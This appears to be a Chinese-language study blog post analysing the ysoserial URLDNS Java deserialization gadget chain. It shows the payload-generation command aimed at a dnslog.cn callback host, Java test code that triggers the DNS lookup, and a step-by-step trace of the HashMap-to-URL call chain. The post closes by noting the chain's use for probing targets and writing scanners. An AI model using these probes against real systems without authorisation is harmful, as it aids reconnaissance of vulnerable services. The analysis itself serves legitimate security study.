作为 ysoserial 中最简单链,这里简单记录学习一下
首先使用ysoserial生成urldns的探测类型
首先先去 dnslog.cn
获取一个url

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar URLDNS "http://pk3q64.dnslog.cn" > Test.txt
查看生成的文件


Java反序列化后的前几个字节就是 ac ed
这其实是一个序列化后的对象,这里我们将它反序列化看一下
import java.io.FileInputStream;
import java.io.ObjectInputStream;
public class DnsTest {
public static void main(String[] args) throws Exception{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("/Volumes/DATA/test/java/test.txt"));
Object test = ois.readObject();
System.out.println(test);
}
}
我们将这个反序列化了一下
随即我们就收到了DNS查询的记录

这是为什么呢
接下来分析一下
简单的观察一下ysoserial
我们刚才生成一个Payload使用的是类似于 java -jar ysoserial-0.0.6-SNAPSHOT-all.jar URLDNS "http://pk3q64.dnslog.cn" > Test.txt
的命令
我们分析一下干了什么吧
首先下载 ysoserial
项目
https://github.com/frohoff/ysoserial
生成Payload的类在 GeneratePayload.java

首先检查我们传入的参数是否正确,然后将我们调用的payload放入 payloadType
,参数放入 command
例如上文我们调用的是 URLDNS
参数是我们的url

之后将我们的payload传入 Utils.getPayloadClass
中,这个是作者自己实现的一个工具类,我们传入payload,根据反射获取到类的 Class
,然后判断是否为空
其中Payload都放在 payloads
文件夹下

我们这里面调用的就是 URLDNS
了

之后根据 Class
获取到类的实例,然后向 getObject
方法中传入我们的参数,将返回的对象序列化输出,我们后面用 > test.txt
就是把序列化的数据重定向到文件中
其中 getObject
的实现如下

这个就是 ysoserial 的简单工作原理,其他的也类似
分析
DNSURL 反序列化的链为
HashMap.readObject()
HashMap.putVal()
HashMap.hash()
URL.hashCode()
URLStreamHandler.hashCode()
URLStreamHandler.getHostAddress()
首先序列化点在 HashMap的 readObject
方法(因为实现了Serializable接口)

readObject
调用了 putVal方法,且参数里调用了 HashMap的hash方法

继续跟进

因为HashMap里面的 key 与 Value 是一个对应的关系,所以看看 ysoserial传入的 key
是什么吧

显然传入的 key
是 URL
类
因此是调用了 URL
中的 hashCode方法,跟进看一下

若 hashcode
的值为 -1
则调用 handler.hashcode
方法
其实这个值默认就是 -1
的

yso中也是用反射将其强制设置为 -1

调用的 hander.hashCode
其实也就是我们传入的 hander

在 URL
的构造方法中将其初始化为我们传入的

ysoserial 中的 SilentURLStreamHandler
其实就是 URLStreamHandler
的子类(为了程序的健壮性,后面有解释)
所以 handler.hashCode(this)
其实就是调用的 URLStreamHandler.hashCode(this)
,我们跟进一下

这里面将 u
传入 getHostAddress
跟进getHostAddress

其中将 u.getHost()
的结果放入 InetAddress.getByName
此函数将是根据主机名获取对应ip,相当于发出一次dnslog请求
我们查看一下 URL.getHost()

返回的是 host
,而这个值已经在我们初始化 URL
的时候就被设置了(设置为我们一开始传入的url)
因此一套简单的流程就出来了
后续思考
我们查看一下HashMap的 put
方法看看

发现也调用了 hash方法

那这样我们利用 ysoserial 生成 POC的时候,也不是会有dns请求吗?

我们测试一下
import java.io.FileInputStream;
import java.io.ObjectInputStream;
import java.net.URL;
import java.util.HashMap;
public class DnsTest {
/*public static void main(String[] args) throws Exception{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("/Volumes/DATA/test/java/test.txt"));
Object test = ois.readObject();
System.out.println(test);
}*/
public static void main(String[] args) throws Exception{
HashMap test = new HashMap();
URL url = new URL("http://s2i0ku.dnslog.cn");
test.put(url,233);
}
}

确实会产生很多请求
有个方法就是通过反射修改 hashCode的值(将URL的 hashCode修改为非 -1 就不会调用到了)
import java.io.FileInputStream;
import java.io.ObjectInputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;
public class DnsTest {
/*public static void main(String[] args) throws Exception{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("/Volumes/DATA/test/java/test.txt"));
Object test = ois.readObject();
System.out.println(test);
}*/
public static void main(String[] args) throws Exception{
HashMap test = new HashMap();
URL url = new URL("http://x5221n.dnslog.cn\n");
Field justhash = Class.forName("java.net.URL").getDeclaredField("hashCode");
justhash.setAccessible(true);
justhash.set(url,123);
test.put(url,233);
}
}

那么 URLDNS 呢

也没有产生请求
原因在这个

这个 SilentURLStreamHandler
继承了 URLStreamHandler
重写了里面的 openConnection
和 getHostAddress

因此在调用 put
方法的时候不会触发 dns 查询
那这样我们反序列化的时候不是也因为重写了方法而不能进行 dns 查询吗?
原因是因为 URL
里面的 handler
设置的是 transient

因为transient修饰符无法被序列化,所以虽然它最后是没执行dns请求,但是在反序列化的时候还是会执行dns请求!
简单测试一下
User.java
package YsoStudent;
import java.io.Serializable;
public class User implements Serializable {
private int age=13;
private transient String name;
public int getAge{
return age;
}
public String getName{
return name;
}
public void setAge(int age)
{
this.age=age;
}
public void setName(String name)
{
this.name=name;
}
@Override
public String toString() {
return "User{" +
"age="+age+",name="+name+"}";
}
}
package YsoStudent;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
public class Test {
public static void main(String[] args) throws Exception {
SerializableUser();
UnSerializableUser();
}
private static void SerializableUser() throws Exception{
User user = new User();
user.setAge(16);
user.setName("Mikasa");
// ObjectOutputStream obj=new ObjectOutputStream(new FileOutputStream("/Users/maniac/Desktop/java/unSerializableDemo/test1.ser"));
ObjectOutputStream obj = new ObjectOutputStream(new FileOutputStream("/Users/mikasa/Desktop/tese.txt"));
obj.writeObject(user);
obj.close();
System.out.println("原数据为"+user);
}
private static void UnSerializableUser() throws Exception{
ObjectInputStream test = new ObjectInputStream(new FileInputStream("/Users/mikasa/Desktop/tese.txt"));
User user = (User) test.readObject();
System.out.println("反序列化结果是:"+user);
}
}

可以看见 name
属性未被反序列化,还是原来的值(为赋值前 为 null)
总结
虽然 URLDNS
不能Getshell,但是可以帮助我们探测目标是否存在漏洞等,写POC或者扫描器的时候挺适用的